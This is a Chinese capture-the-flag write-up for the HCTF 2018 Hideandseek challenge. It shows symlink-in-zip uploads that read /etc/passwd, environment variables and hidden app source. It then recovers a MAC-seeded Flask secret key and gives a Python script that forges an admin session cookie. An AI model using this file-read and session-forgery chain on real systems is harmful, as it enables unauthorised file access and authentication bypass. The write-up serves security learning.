BUUCTF-[HCTF 2018]Hideandseek wp

知识点:软链接任意文件读取、flask session伪造

最开始看到的是这个页面,尝试使用admin登录提示you are not admin,猜想是要通过某种方式使用admin登录获取flag

使用123登录,发现需要上传zip,上传了一个1.txt的文件,页面会返回文件里的内容,这时猜想是否可以进行任意文件读取

使用ln -s /etc/passwd password,zip -y password.zip password生成一个里面是软链接的zip,用来读取/etc/passwd文件,发现可以读取。

尝试读取flag文件,发现没有数据返回

读取/proc/self/environ,获取系统当前的环境变量信息,整理之后如下

看了一下之后发现/app/uwsgi.ini这个配置文件,上传zip读取一下

尝试读取app/main.py文件,发现好像用处不大?

本来觉得要做不下去了,最后用burp抓包的时候不小心删错了东西,最后发现一个/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py文件,感觉有问题,尝试读取一下,发现了可以获得flag的源码

读了一下源码之后发现是要伪造admin的session就可以获得flag,并且在源码中找到了secret_key,发现它是用随机数播种的形式设置的secret_key,种子为uuid.getnode(),是网卡mac地址的十进制数,也就是说我们知道网卡的mac地址就可以伪造admin的session,于是我们构造软链接读取/sys/class/net/eth0/address

使用python脚本将mac地址转换成十进制并且使用uuid.getnode()转换为种子,最后伪造admin的session

脚本:

import uuid
import random
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

mac = "02:42:ae:00:bf:3f"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randnum = str(random.random()*100)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(randnum)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)

登录时使用hackbar添加session,即可获得flag

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原文地址:https://www.cnblogs.com/Yhck/p/13644349.html